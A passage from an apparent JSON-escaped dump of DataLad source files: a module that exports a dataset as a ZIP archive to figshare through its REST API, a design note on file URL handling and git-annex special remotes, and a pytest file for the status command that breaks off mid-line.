##\\n\\\"\\\"\\\"export a dataset as a TAR/ZIP archive to figshare\\\"\\\"\\\"\\n\\n__docformat__ = 'restructuredtext'\\n\\nfrom datalad.utils import unlink\\nfrom datalad.interface.base import Interface\\nfrom datalad.interface.base import build_doc\\nfrom datalad.interface.results import get_status_dict\\n\\nimport logging\\nlgr = logging.getLogger('datalad.distributed.export_to_figshare')\\n\\n\\nclass FigshareRESTLaison(object):\\n \\\"\\\"\\\"A little helper to provide minimal interface to interact with Figshare\\n \\\"\\\"\\\"\\n API_URL = 'https://api.figshare.com/v2'\\n\\n def __init__(self):\\n self._token = None\\n from datalad.ui import ui\\n self.ui = ui # we will be chatty here\\n\\n @property\\n def token(self):\\n if self._token is None:\\n from datalad.downloaders.providers import Providers\\n providers = Providers.from_config_files()\\n provider = providers.get_provider(self.API_URL)\\n credential = provider.credential\\n self._token = credential().get('token')\\n return self._token\\n\\n def __call__(self, m, url, data=None, success=None, binary=False,\\n headers=None, return_json=True):\\n \\\"\\\"\\\"A wrapper around requests calls\\n\\n to interpolate deposition_id, do basic checks and conversion\\n \\\"\\\"\\\"\\n import json\\n if '://' not in url:\\n url_ = self.API_URL + '/' + url\\n else:\\n url_ = url\\n\\n headers = headers or {}\\n if data is not None and not binary:\\n data = json.dumps(data)\\n headers[\\\"Content-Type\\\"] = \\\"application/json\\\"\\n headers['Authorization'] = \\\"token %s\\\" % self.token\\n\\n lgr.debug(\\n \\\"Submitting %s request to %s with data %s (headers: %s)\\\",\\n m.__name__, url_, data, 'sanitized' # headers\\n )\\n r = m(url_, data=data, headers=headers)\\n status_code = r.status_code\\n if (success != \\\"donotcheck\\\") and \\\\\\n ((success and status_code not in success)\\n or (not success and status_code >= 400)):\\n msg = \\\"Got return code %(status_code)s for %(m)s(%(url_)s.\\\" \\\\\\n % locals()\\n raise RuntimeError(\\\"Error status %s\\\" % msg)\\n\\n if return_json:\\n return r.json() if r.content else {}\\n else:\\n return r.content\\n\\n def put(self, *args, **kwargs):\\n import requests\\n return self(requests.put, *args, **kwargs)\\n\\n def post(self, *args, **kwargs):\\n import requests\\n return self(requests.post, *args, **kwargs)\\n\\n def get(self, *args, **kwargs):\\n import requests\\n return self(requests.get, *args, **kwargs)\\n\\n def upload_file(self, fname, files_url):\\n # In v2 API seems no easy way to \\\"just upload\\\". Need to initiate,\\n # do uploads\\n # and finalize\\n # TODO: check if the file with the same name already available, and offer\\n # to remove/prune it\\n import os\\n from datalad.utils import md5sum\\n from datalad.ui import ui\\n file_rec = {'md5': md5sum(fname),\\n 'name': os.path.basename(fname),\\n 'size': os.stat(fname).st_size\\n }\\n # Initiate upload\\n j = self.post(files_url, file_rec)\\n file_endpoint = j['location']\\n file_info = self.get(file_endpoint)\\n file_upload_info = self.get(file_info['upload_url'])\\n\\n pbar = ui.get_progressbar(label=fname, # fill_text=f.name,\\n total=file_rec['size'])\\n with open(fname, 'rb') as f:\\n for part in file_upload_info['parts']:\\n udata = dict(file_info, **part)\\n if part['status'] == 'PENDING':\\n f.seek(part['startOffset'])\\n data = f.read(part['endOffset'] - part['startOffset'] + 1)\\n url = '{upload_url}/{partNo}'.format(**udata)\\n ok = self.put(url, data=data, binary=True, return_json=False)\\n assert ok == b'OK'\\n pbar.update(part['endOffset'], increment=False)\\n pbar.finish()\\n\\n # complete upload\\n jcomplete = self.post(file_endpoint, return_json=False)\\n return file_info\\n\\n def get_article_ids(self):\\n articles = self.get('account/articles')\\n ids = []\\n for item in articles or []:\\n self.ui.message(' {id} {url} - {title}'.format(**item))\\n ids.append(item['id'])\\n return ids\\n\\n def create_article(self, title):\\n data = {\\n 'title': title\\n }\\n # we could prefill more fields interactively if desired\\n result = self.post('account/articles', data=data)\\n result = self.get(result['location'])\\n return result\\n\\n\\ndef _get_default_title(dataset):\\n \\\"\\\"\\\"Create default title as dataset directory[#UUID][@version]\\n with any of [] missing if not defined\\n \\\"\\\"\\\"\\n from ..support.path import basename\\n title = basename(dataset.path)\\n if dataset.id:\\n title += \\\"#{dataset.id}\\\".format(**locals())\\n version = dataset.repo.describe()\\n if version:\\n title += \\\"@{version}\\\".format(**locals())\\n # 3 is minimal length. Just in case there is no UUID or version and dir\\n # is short\\n if len(title) < 3:\\n title += \\\"0\\\"*(3 - len(title))\\n return title\\n\\n\\ndef _enter_title(ui, dataset):\\n default = _get_default_title(dataset)\\n while True:\\n title = ui.question(\\n \\\"Please enter the title (must be at least 3 characters long).\\\",\\n title=\\\"New article\\\",\\n default=default\\n )\\n if len(title) < 3:\\n ui.error(\\\"Title must be at least 3 characters long.\\\")\\n else:\\n return title\\n\\n\\n@build_doc\\nclass ExportToFigshare(Interface):\\n \\\"\\\"\\\"Export the content of a dataset as a ZIP archive to figshare\\n\\n Very quick and dirty approach. Ideally figshare should be supported as\\n a proper git annex special remote. Unfortunately, figshare does not support\\n having directories, and can store only a flat list of files. That makes\\n it impossible for any sensible publishing of complete datasets.\\n\\n The only workaround is to publish dataset as a zip-ball, where the entire\\n content is wrapped into a .zip archive for which figshare would provide a\\n navigator.\\n \\\"\\\"\\\"\\n\\n from datalad.support.param import Parameter\\n from datalad.distribution.dataset import datasetmethod\\n from datalad.interface.base import eval_results\\n from datalad.distribution.dataset import EnsureDataset\\n from datalad.support.constraints import (\\n EnsureChoice,\\n EnsureInt,\\n EnsureNone,\\n EnsureStr,\\n )\\n\\n _params_ = dict(\\n dataset=Parameter(\\n args=(\\\"-d\\\", \\\"--dataset\\\"),\\n doc=\\\"\\\"\\\"\\\"specify the dataset to export. If no dataset is given, an\\n attempt is made to identify the dataset based on the current\\n working directory.\\\"\\\"\\\",\\n constraints=EnsureDataset() | EnsureNone()),\\n filename=Parameter(\\n args=(\\\"filename\\\",),\\n metavar=\\\"PATH\\\",\\n nargs='?',\\n doc=\\\"\\\"\\\"File name of the generated ZIP archive. If no file name is\\n given the archive will be generated in the top directory\\n of the dataset and will be named: datalad_<dataset_uuid>.zip.\\\"\\\"\\\",\\n constraints=EnsureStr() | EnsureNone()),\\n no_annex=Parameter(\\n args=(\\\"--no-annex\\\",),\\n action=\\\"store_true\\\",\\n doc=\\\"\\\"\\\"By default the generated .zip file would be added to annex,\\n and all files would get registered in git-annex to be available\\n from such a tarball. Also upon upload we will register for that\\n archive to be a possible source for it in annex. Setting this flag\\n disables this behavior.\\\"\\\"\\\"),\\n missing_content=Parameter(\\n args=(\\\"--missing-content\\\",),\\n doc=\\\"\\\"\\\"By default, any discovered file with missing content will\\n result in an error and the plugin is aborted. Setting this to\\n 'continue' will issue warnings instead of failing on error. The\\n value 'ignore' will only inform about problem at the 'debug' log\\n level. The latter two can be helpful when generating a TAR archive\\n from a dataset where some file content is not available\\n locally.\\\"\\\"\\\",\\n constraints=EnsureChoice(\\\"error\\\", \\\"continue\\\", \\\"ignore\\\")),\\n # article_id=Parameter(\\n # args=(\\\"--project-id\\\",),\\n # metavar=\\\"ID\\\",\\n # doc=\\\"\\\"\\\"If given, article (if article_id is not provided) will be\\n # created in that project.\\\"\\\"\\\",\\n # constraints=EnsureInt() | EnsureNone()),\\n article_id=Parameter(\\n args=(\\\"--article-id\\\",),\\n metavar=\\\"ID\\\",\\n doc=\\\"\\\"\\\"Which article to publish to.\\\"\\\"\\\",\\n constraints=EnsureInt() | EnsureNone()),\\n )\\n\\n @staticmethod\\n @datasetmethod(name='export_to_figshare')\\n @eval_results\\n # TODO*: yet another former plugin with dataset first -- do we need that???\\n def __call__(filename=None,\\n *,\\n dataset=None,\\n missing_content='error', no_annex=False,\\n # TODO: support working with projects and articles within them\\n # project_id=None,\\n article_id=None):\\n import logging\\n lgr = logging.getLogger('datalad.plugin.export_to_figshare')\\n\\n from datalad.ui import ui\\n from datalad.api import add_archive_content\\n from datalad.api import export_archive\\n from datalad.distribution.dataset import require_dataset\\n from datalad.support.annexrepo import AnnexRepo\\n\\n dataset = require_dataset(dataset, check_installed=True,\\n purpose='export to figshare')\\n\\n if not isinstance(dataset.repo, AnnexRepo):\\n raise ValueError(\\n \\\"%s is not an annex repo, so annexification could be done\\\"\\n % dataset\\n )\\n\\n if dataset.repo.dirty:\\n yield get_status_dict(\\n 'export_to_figshare',\\n ds=dataset,\\n status='impossible',\\n message=(\\n 'clean dataset required to export; '\\n 'use `datalad status` to inspect unsaved changes'))\\n return\\n if filename is None:\\n filename = dataset.path\\n lgr.info(\\n \\\"Exporting current tree as an archive under %s since figshare \\\"\\n \\\"does not support directories\\\",\\n filename\\n )\\n archive_out = next(\\n export_archive(\\n dataset=dataset,\\n filename=filename,\\n archivetype='zip',\\n missing_content=missing_content,\\n return_type=\\\"generator\\\"\\n )\\n )\\n assert archive_out['status'] == 'ok'\\n fname = str(archive_out['path'])\\n\\n lgr.info(\\\"Uploading %s to figshare\\\", fname)\\n figshare = FigshareRESTLaison()\\n\\n if not article_id:\\n # TODO: ask if it should be an article within a project\\n if ui.is_interactive:\\n # or should we just upload to a new article?\\n if ui.yesno(\\n \\\"Would you like to create a new article to upload to? \\\"\\n \\\"If not - we will list existing articles\\\",\\n title=\\\"Article\\\"\\n ):\\n article = figshare.create_article(\\n title=_enter_title(ui, dataset)\\n )\\n lgr.info(\\n \\\"Created a new (private) article %(id)s at %(url_private_html)s. \\\"\\n \\\"Please visit it, enter additional meta-data and make public\\\",\\n article\\n )\\n article_id = article['id']\\n else:\\n article_id = int(ui.question(\\n \\\"Which of the articles should we upload to.\\\",\\n choices=list(map(str, figshare.get_article_ids()))\\n ))\\n if not article_id:\\n raise ValueError(\\\"We need an article to upload to.\\\")\\n\\n file_info = figshare.upload_file(\\n fname,\\n files_url='account/articles/%s/files' % article_id\\n )\\n\\n if no_annex:\\n lgr.info(\\\"Removing generated tarball\\\")\\n unlink(fname)\\n else:\\n # I will leave all the complaining etc to the dataset add if path\\n # is outside etc\\n lgr.info(\\\"'Registering' %s within annex\\\", fname)\\n repo = dataset.repo\\n repo.add(fname, git=False)\\n key = repo.get_file_annexinfo(fname)['key']\\n lgr.info(\\\"Adding URL %(download_url)s for it\\\", file_info)\\n repo.call_annex([\\n \\\"registerurl\\\", '-c', 'annex.alwayscommit=false',\\n key, file_info['download_url']])\\n\\n lgr.info(\\\"Registering links back for the content of the archive\\\")\\n add_archive_content(\\n fname,\\n dataset=dataset,\\n delete_after=True, # just remove extracted into a temp dir\\n allow_dirty=True, # since we have a tarball\\n commit=False # we do not want to commit anything we have done here\\n )\\n\\n lgr.info(\\\"Removing generated and now registered in annex archive\\\")\\n repo.drop(key, key=True, options=['--force'])\\n repo.remove(fname, force=True) # remove the tarball\\n\\n # if annex in {'delete'}:\\n # dataset.repo.remove(fname)\\n # else:\\n # # kinda makes little sense I guess.\\n # # Made more sense if export_archive could export an arbitrary treeish\\n # # so we could create a branch where to dump and export to figshare\\n # # (kinda closer to my idea)\\n # dataset.save(fname, message=\\\"Added the entire dataset into a zip file\\\")\\n\\n # TODO: add to downloader knowledge about figshare token so it could download-url\\n # those zipballs before they go public\\n yield dict(\\n status='ok',\\n # TODO: add article url (which needs to be queried if only ID is known\\n message=\\\"Published archive {}\\\".format(\\n file_info['download_url']),\\n file_info=file_info,\\n path=dataset,\\n action='export_to_figshare',\\n logger=lgr\\n )\\n\"\n },\n {\n \"alpha_fraction\": 0.7640687823295593,\n \"alphanum_fraction\": 0.7659524083137512,\n \"avg_line_length\": 48.38372039794922,\n \"blob_id\": \"968a3f3dcafbfea0efb107ec29021ef40fa412f3\",\n \"content_id\": \"16dbdb4808c9318b2f1f4099dfbfaac0e8379b5f\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"reStructuredText\",\n \"length_bytes\": 4247,\n \"license_type\": \"permissive\",\n \"max_line_length\": 110,\n \"num_lines\": 86,\n \"path\": \"/docs/source/design/file_url_handling.rst\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \".. -*- mode: rst -*-\\n.. vi: set ft=rst sts=4 ts=4 sw=4 et tw=79:\\n\\n.. _chap_design_file_url_handling:\\n\\n*****************\\nFile URL handling\\n*****************\\n\\n.. topic:: Specification scope and status\\n\\n This specification describes the current implementation.\\n\\nDataLad datasets can record URLs for file content access as metadata. This is a\\nfeature provided by git-annex and is available for any annexed file. DataLad\\nimproves upon the git-annex functionality in two ways:\\n\\n1. Support for a variety of (additional) protocols and authentication methods.\\n\\n2. Support for special URLs pointing to individual files located in registered\\n (annexed) archives, such as tarballs and ZIP files.\\n\\nThese additional features are available to all functionality that is processing\\nURLs, such as ``get``, ``addurls``, or ``download-url``.\\n\\n\\nExtensible protocol and authentication support\\n==============================================\\n\\nDataLad ships with a dedicated implementation of an external `git-annex special\\nremote`_ named ``git-annex-remote-datalad``. This is a somewhat atypical special\\nremote, because it cannot receive files and store them, but only supports\\nread operations.\\n\\nSpecifically, it uses the ``CLAIMURL`` feature of the `external special remote\\nprotocol`_ to take over processing of URLs with supported protocols in all\\ndatasets that have this special remote configured and enabled.\\n\\nThis special remote is automatically configured and enabled in DataLad dataset\\nas a ``datalad`` remote, by commands that utilize its features, such as\\n``download-url``. Once enabled, DataLad (but also git-annex) is able to act on\\nadditional protocols, such as ``s3://``, and the respective URLs can be given\\ndirectly to commands like ``git annex addurl``, or ``datalad download-url``.\\n\\nBeyond additional protocol support, the ``datalad`` special remote also\\ninterfaces with DataLad's :ref:`chap_design_credentials`. It can identify a\\nparticular credential required for a given URL (based on something called a\\n\\\"provider\\\" configuration), ask for the credential or retrieve it from a\\ncredential store, and supply it to the respective service in an appropriate\\nform. Importantly, this feature neither requires the necessary credential or\\nprovider configuration to be encoded in a URL (where it would become part of\\nthe git-annex metadata), nor to be committed to a dataset. Hence all\\ninformation that may depend on which entity is performing a URL request\\nand in what environment is completely separated from the location information\\non a particular file content. This minimizes the required dataset maintenance\\neffort (when credentials change), and offers a clean separation of identity\\nand availability tracking vs. authentication management.\\n\\n\\nIndexing and access of archive content\\n======================================\\n\\nAnother `git-annex special remote`_, named\\n``git-annex-remote-datalad-archives``, is used to enable file content retrieval\\nfrom annexed archive files, such as tarballs and ZIP files. Its implementation\\nconcept is closely related to the ``git-annex-remote-datalad``, described\\nabove. Its main difference is that it claims responsibility for a particular\\ntype of \\\"URL\\\" (starting with ``dl+archive:``). These URLs encode the identity\\nof an archive file, in terms of its git-annex key name, and a relative path\\ninside this archive pointing to a particular file.\\n\\nLike ``git-annex-remote-datalad``, only read operations are supported. When\\na request to a ``dl+archive:`` \\\"URL\\\" is made, the special remote identifies\\nthe archive file, if necessary obtains it at the precise version needed, and\\nextracts the respected file content from the archive at the correct location.\\n\\nThis special remote is automatically configured and enabled as\\n``datalad-archives`` by the ``add-archive-content`` command. This command\\nindexes annexed archives, extracts, and registers their content to a\\ndataset. File content availability information is recorded in terms of the\\n``dl+archive:`` \\\"URLs\\\", which are put into the git-annex metadata on a file's\\ncontent.\\n\\n\\n.. _git-annex special remote: https://git-annex.branchable.com/special_remotes/\\n.. _external special remote protocol: https://git-annex.branchable.com/design/external_special_remote_protocol\\n\"\n },\n {\n \"alpha_fraction\": 0.5828939080238342,\n \"alphanum_fraction\": 0.5944206118583679,\n \"avg_line_length\": 35.65168380737305,\n \"blob_id\": \"408be97631ed93b166ddc6fb0b2168479db8ebef\",\n \"content_id\": \"cd10d2193aabaf518d1ec3557f7c9e16e0697056\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 16310,\n \"license_type\": \"permissive\",\n \"max_line_length\": 85,\n \"num_lines\": 445,\n \"path\": \"/datalad/core/local/tests/test_status.py\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# -*- coding: utf-8 -*-\\n# ex: set sts=4 ts=4 sw=4 et:\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n#\\n# See COPYING file distributed along with the datalad package for the\\n# copyright and license terms.\\n#\\n# ## ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ### ##\\n\\\"\\\"\\\"Test status command\\\"\\\"\\\"\\n\\nimport os.path as op\\n\\nimport datalad.utils as ut\\nfrom datalad.api import status\\nfrom datalad.core.local.status import get_paths_by_ds\\nfrom datalad.distribution.dataset import Dataset\\nfrom datalad.support.annexrepo import AnnexRepo\\nfrom datalad.support.exceptions import (\\n CommandError,\\n IncompleteResultsError,\\n NoDatasetFound,\\n)\\nfrom datalad.tests.utils_pytest import (\\n OBSCURE_FILENAME,\\n SkipTest,\\n assert_dict_equal,\\n assert_in,\\n assert_in_results,\\n assert_not_in_results,\\n assert_raises,\\n assert_repo_status,\\n assert_result_count,\\n assert_status,\\n eq_,\\n get_deeply_nested_structure,\\n has_symlink_capability,\\n with_tempfile,\\n)\\nfrom datalad.utils import (\\n chpwd,\\n on_windows,\\n)\\n\\n\\n@with_tempfile(mkdir=True)\\ndef test_runnin_on_empty(path=None):\\n # empty repo\\n repo = AnnexRepo(path, create=True)\\n # just wrap with a dataset\\n ds = Dataset(path)\\n # and run status ... should be good and do nothing\\n eq_([], ds.status(result_renderer='disabled'))\\n\\n\\n@with_tempfile(mkdir=True)\\n@with_tempfile()\\n@with_tempfile(mkdir=True)\\ndef test_status_basics(path=None, linkpath=None, otherdir=None):\\n if has_symlink_capability():\\n # make it more complicated by default\\n ut.Path(linkpath).symlink_to(path, target_is_directory=True)\\n path = linkpath\\n\\n with chpwd(path):\\n assert_raises(NoDatasetFound, status)\\n ds = Dataset(path).create()\\n # outcome identical between ds= and auto-discovery\\n with chpwd(path):\\n assert_raises(IncompleteResultsError, status, path=otherdir)\\n stat = status(result_renderer='disabled')\\n eq_(stat, ds.status(result_renderer='disabled'))\\n assert_status('ok', stat)\\n # we have a bunch of reports (be vague to be robust to future changes\\n assert len(stat) > 2\\n # check the composition\\n for s in stat:\\n eq_(s['status'], 'ok')\\n eq_(s['action'], 'status')\\n eq_(s['state'], 'clean')\\n eq_(s['type'], 'file')\\n assert_in('gitshasum', s)\\n assert_in('bytesize', s)\\n eq_(s['refds'], ds.path)\\n\\n\\n@with_tempfile(mkdir=True)\\n@with_tempfile(mkdir=True)\\ndef test_status_nods(path=None, otherpath=None):\\n ds = Dataset(path).create()\\n assert_result_count(\\n ds.status(path=otherpath, on_failure='ignore', result_renderer='disabled'),\\n 1,\\n status='error',\\n message=('path not underneath the reference dataset %s', ds.path))\\n otherds = Dataset(otherpath).create()\\n assert_result_count(\\n ds.status(path=otherpath, on_failure='ignore', result_renderer='disabled'),\\n 1,\\n path=otherds.path,\\n status='error',\\n message=('path not underneath the reference dataset %s', ds.path))\\n\\n\\n@with_tempfile(mkdir=True)\\n@with_tempfile()\\ndef test_status(_path=None, linkpath=None):\\n # do the setup on the real path, not the symlink, to have its\\n # bugs not affect this test of status()\\n ds = get_deeply_nested_structure(str(_path))\\n if has_symlink_capability():\\n # make it more complicated by default\\n ut.Path(linkpath).symlink_to(_path, target_is_directory=True)\\n path = linkpath\\n else:\\n path = _path\\n\\n ds = Dataset(path)\\n if has_symlink_capability():\\n assert ds.pathobj != ds.repo.pathobj\\n\\n # spotcheck that annex status reporting and availability evaluation\\n # works\\n assert_result_count(\\n ds.status(annex='all', result_renderer='disabled'),\\n 1,\\n path=str(ds.pathobj / 'subdir' / 'annexed_file.txt'),\\n key='MD5E-s5--275876e34cf609db118f3d84b799a790.txt',\\n has_content=True,\\n objloc=str(ds.repo.pathobj / '.git' / 'annex' / 'objects' /\\n # hashdir is different on windows\\n ('f33' if ds.repo.is_managed_branch() else '7p') /\\n ('94b' if ds.repo.is_managed_branch() else 'gp') /\\n 'MD5E-s5--275876e34cf609db118f3d84b799a790.txt' /\\n 'MD5E-s5--275876e34cf609db118f3d84b799a790.txt'))\\n\\n plain_recursive = ds.status(recursive=True, result_renderer='disabled')\\n # check integrity of individual reports\\n for res in plain_recursive:\\n # anything that is an \\\"intended\\\" symlink should be reported\\n # as such\\n if 'link2' in str(res['path']):\\n assert res['type'] == 'symlink', res\\n # every item must report its parent dataset\\n assert_in('parentds', res)\\n\\n # bunch of smoke tests\\n # query of '.' is same as no path\\n eq_(plain_recursive, ds.status(path='.', recursive=True,\\n result_renderer='disabled'))\\n # duplicate paths do not change things\\n eq_(plain_recursive, ds.status(path=['.', '.'], recursive=True,\\n result_renderer='disabled'))\\n # neither do nested paths\\n eq_(plain_recursive,\\n ds.status(path=['.', 'subds_modified'], recursive=True,\\n result_renderer='disabled'))\\n # when invoked in a subdir of a dataset it still reports on the full thing\\n # just like `git status`, as long as there are no paths specified\\n with chpwd(op.join(path, 'directory_untracked')):\\n plain_recursive = status(recursive=True, result_renderer='disabled')\\n # should be able to take absolute paths and yield the same\\n # output\\n eq_(plain_recursive, ds.status(path=ds.path, recursive=True,\\n result_renderer='disabled'))\\n\\n # query for a deeply nested path from the top, should just work with a\\n # variety of approaches\\n rpath = op.join('subds_modified', 'subds_lvl1_modified',\\n OBSCURE_FILENAME + u'_directory_untracked')\\n apathobj = ds.pathobj / rpath\\n apath = str(apathobj)\\n # ds.repo.pathobj will have the symlink resolved\\n arealpath = ds.repo.pathobj / rpath\\n # TODO include explicit relative path in test\\n for p in (rpath, apath, arealpath, None):\\n if p is None:\\n # change into the realpath of the dataset and\\n # query with an explicit path\\n with chpwd(ds.repo.path):\\n res = ds.status(path=op.join('.', rpath), result_renderer='disabled')\\n else:\\n res = ds.status(path=p, result_renderer='disabled')\\n assert_result_count(\\n res,\\n 1,\\n state='untracked',\\n type='directory',\\n refds=ds.path,\\n # path always comes out a full path inside the queried dataset\\n path=apath,\\n )\\n\\n assert_result_count(\\n ds.status(\\n recursive=True, result_renderer='disabled'),\\n 1,\\n path=apath)\\n # limiting recursion will exclude this particular path\\n assert_result_count(\\n ds.status(\\n recursive=True,\\n recursion_limit=1, result_renderer='disabled'),\\n 0,\\n path=apath)\\n # negative limit is unlimited limit\\n eq_(\\n ds.status(recursive=True, recursion_limit=-1, result_renderer='disabled'),\\n ds.status(recursive=True, result_renderer='disabled')\\n )\\n\\n # check integrity of individual reports with a focus on how symlinks\\n # are reported in annex-mode\\n # this is different from plain git-mode, which reports types as-is\\n # from the git record\\n for res in ds.status(recursive=True, annex='basic',\\n result_renderer='disabled'):\\n # anything that is an \\\"intended\\\" symlink should be reported\\n # as such. In contrast, anything that is a symlink for mere\\n # technical reasons (annex using it for something in some mode)\\n # should be reported as the thing it is representing (i.e.\\n # a file)\\n if 'link2' in str(res['path']):\\n assert res['type'] == 'symlink', res\\n else:\\n assert res['type'] != 'symlink', res\\n\\n@with_tempfile(mkdir=True)\\ndef test_untracked_annex_query(path=None):\\n # test for #7032\\n ds = Dataset(path).create()\\n (ds.pathobj / 'untracked_file.txt').write_text(u'dummy')\\n res = ds.status(annex='basic', path='untracked_file.txt')\\n assert_not_in_results(\\n res,\\n error_message='File unknown to git',\\n )\\n\\n\\n# https://github.com/datalad/datalad-revolution/issues/64\\n# breaks when the tempdir is a symlink\\n@with_tempfile(mkdir=True)\\ndef test_subds_status(path=None):\\n ds = Dataset(path).create()\\n subds = ds.create('subds')\\n assert_repo_status(ds.path)\\n subds.create('someotherds')\\n assert_repo_status(subds.path)\\n assert_repo_status(ds.path, modified=['subds'])\\n assert_result_count(\\n ds.status(path='subds', result_renderer='disabled'),\\n 1,\\n # must be modified, not added (ds was clean after it was added)\\n state='modified',\\n type='dataset',\\n path=subds.path,\\n refds=ds.path)\\n\\n # path=\\\".\\\" gets treated as \\\"this dataset's content\\\" without requiring a\\n # trailing \\\"/\\\"...\\n assert_result_count(\\n subds.status(path=\\\".\\\", result_renderer='disabled'),\\n 1,\\n type=\\\"dataset\\\",\\n path=op.join(subds.path, \\\"someotherds\\\"),\\n refds=subds.path)\\n\\n # ... and so does path=<path/to/ds>.\\n assert_result_count(\\n subds.status(path=subds.path, result_renderer='disabled'),\\n 1,\\n type=\\\"dataset\\\",\\n path=op.join(subds.path, \\\"someotherds\\\"),\\n refds=subds.path)\\n\\n assert_result_count(\\n subds.status(path=op.join(subds.path, op.pardir, \\\"subds\\\"),\\n result_renderer='disabled'),\\n 1,\\n type=\\\"dataset\\\",\\n path=op.join(subds.path, \\\"someotherds\\\"),\\n refds=subds.path)\\n\\n assert_result_count(\\n subds.status(path=op.join(subds.path, op.curdir),\\n result_renderer='disabled'),\\n 1,\\n type=\\\"dataset\\\",\\n path=op.join(subds.path, \\\"someotherds\\\"),\\n refds=subds.path)\\n\\n\\n@with_tempfile\\ndef test_status_symlinked_dir_within_repo(path=None):\\n if not has_symlink_capability():\\n raise SkipTest(\\\"Can't create symlinks\\\")\\n # <path>\\n # |-- bar -> <path>/foo\\n # `-- foo\\n # `-- f\\n ds = Dataset(path).create()\\n foo = ds.pathobj / \\\"foo\\\"\\n foo.mkdir()\\n (foo / \\\"f\\\").write_text(\\\"content\\\")\\n (ds.pathobj / \\\"bar\\\").symlink_to(foo, target_is_directory=True)\\n ds.save()\\n bar_f = ds.pathobj / \\\"bar\\\" / \\\"f\\\"\\n\\n def call():\\n return ds.status(path=[bar_f], annex=\\\"availability\\\",\\n on_failure=\\\"ignore\\\", result_renderer='disabled')\\n\\n if ds.repo.git_annex_version < \\\"8.20200522\\\" \\\\\\n or (on_windows and ds.repo.git_annex_version < \\\"10.20220525\\\"):\\n # version for windows is an approx guess, but stopped happening\\n # somewhere around 10.20220505-g3b83224e5 may be.\\n # see https://github.com/datalad/datalad/issues/6849\\n assert_result_count(call(), 0)\\n elif ds.repo.git_annex_version < '10.20220222':\\n # As of 2a8fdfc7d (Display a warning message when asked to operate on a\\n # file inside a symlinked directory, 2020-05-11), git-annex will error.\\n with assert_raises(CommandError):\\n call()\\n elif '10.20220222' <= ds.repo.git_annex_version < '10.20220322':\\n # No error on annex' side since 10.20220222;\\n # However, we'd now get something like this:\\n # > git annex find bar/f\\n # error: pathspec 'bar/f' did not match any file(s) known to git\\n # Did you forget to 'git add'?\\n #\\n # But exists zero until 10.20220322!\\n assert_result_count(call(), 0)\\n else:\\n res = call()\\n assert_result_count(res, 1, status='error', state='unknown',\\n path=str(bar_f))\\n\\n\\n@with_tempfile\\n@with_tempfile\\ndef test_get_paths_by_ds(path=None, otherdspath=None):\\n otherds = Dataset(otherdspath).create()\\n ds = get_deeply_nested_structure(path)\\n\\n # for testing below, a shortcut\\n subds_modified = Dataset(ds.pathobj / 'subds_modified')\\n\\n # check docstrong of get_deeply_nested_structure() to understand\\n # what is being tested here\\n testcases = (\\n # (\\n # (<dataset_arg>, <path arg>),\\n # {<path by ds dict>}\\n # [<error list>]\\n # ),\\n\\n # find main dataset, pass-through arbitrary arguments, if no paths\\n # go in, also no paths come out\\n ((path, None), {ds.pathobj: None}, []),\\n # a simple path in the rootds, stays just that, not traversal\\n # into files underneaths\\n ((ds, ['subdir']), {ds.pathobj: [ds.pathobj / 'subdir']}, []),\\n # same for files, any number,\\n # one record per dataset with multiple files\\n ((ds, [op.join('subdir', 'git_file.txt'), 'directory_untracked']),\\n {ds.pathobj: [ds.pathobj / 'directory_untracked',\\n ds.pathobj / 'subdir' / 'git_file.txt']},\\n []),\\n # same for a subdataset root -- still reported as part of\\n # the superdataset!\\n ((ds, ['subds_modified']),\\n {ds.pathobj: [subds_modified.pathobj]},\\n []),\\n # but not with a trailing slash, then it is the subdataset root\\n # itself that becomes the record!!!\\n ((ds, ['subds_modified' + op.sep]),\\n {subds_modified.pathobj: [subds_modified.pathobj]},\\n []),\\n # however, regardless of the path syntax, each behavior can be forced\\n ((ds, ['subds_modified'], 'sub'),\\n {subds_modified.pathobj: [subds_modified.pathobj]},\\n []),\\n ((ds, ['subds_modified' + op.sep], 'super'),\\n {ds.pathobj: [subds_modified.pathobj]},\\n []),\\n # subdataset content is sorted into a subdataset record\\n ((ds, [op.join('subds_modified', 'subdir')]),\\n {subds_modified.pathobj: [ds.pathobj / 'subds_modified' / 'subdir']},\\n []),\\n # content from different datasets ends up in different records\\n ((ds, [op.join('subdir', 'git_file.txt'),\\n op.join('subds_modified', 'subdir'),\\n op.join('subds_modified', 'subds_lvl1_modified')]),\\n {ds.pathobj: [ds.pathobj / 'subdir' / 'git_file.txt'],\\n subds_modified.pathobj: [\\n subds_modified.pathobj / 'subdir',\\n subds_modified.pathobj / 'subds_lvl1_modified']},\\n []),\\n # paths not matching existing content are no problem\\n ((ds, ['doesnotexist',\\n op.join('subdir', 'nothere'),\\n op.join('subds_modified', 'subdir', 'gone')]),\\n {ds.pathobj: [ds.pathobj / 'doesnotexist',\\n ds.pathobj / 'subdir' / 'nothere'],\\n subds_modified.pathobj: [\\n subds_modified.pathobj / 'subdir' / 'gone']},\\n []),\\n #\\n # now error case\\n #\\n # a path that does sort under the root dataset\\n ((path, [otherds.pathobj / 'totally' / 'different']),\\n {},\\n [otherds.pathobj / 'totally' / 'different']),\\n )\\n # evaluate the test cases\\n for inp, pbd_target, error_target in testcases:\\n paths_by_ds, errors = get_paths_by_ds(ds, *inp)\\n assert_dict_equal(pbd_target, paths_by_ds)\\n eq_(error_target, errors)\\n\\n # lastly, some more specialized test\\n # paths get collapsed into dataset records, even when the path\\n # order is not presorted to match individual datasets sequentially\\n paths_by_ds, errors = get_paths_by_ds(\\n ds, ds, [\\n op.join('subdir', 'git_file.txt'),\\n op.join('subds_modified', 'subdir'),\\n op.join('subdir', 'annexed_file.txt'),\\n ])\\n eq_(\\n list(paths_by_ds.keys()),\\n [ds.pathobj, subds_modified.pathobj]\\n )\\n # result order (top-level first) is stable, even when a path comes first\\n # that sorts later. Also mixed types are not a problem\\n paths_by_ds, errors = 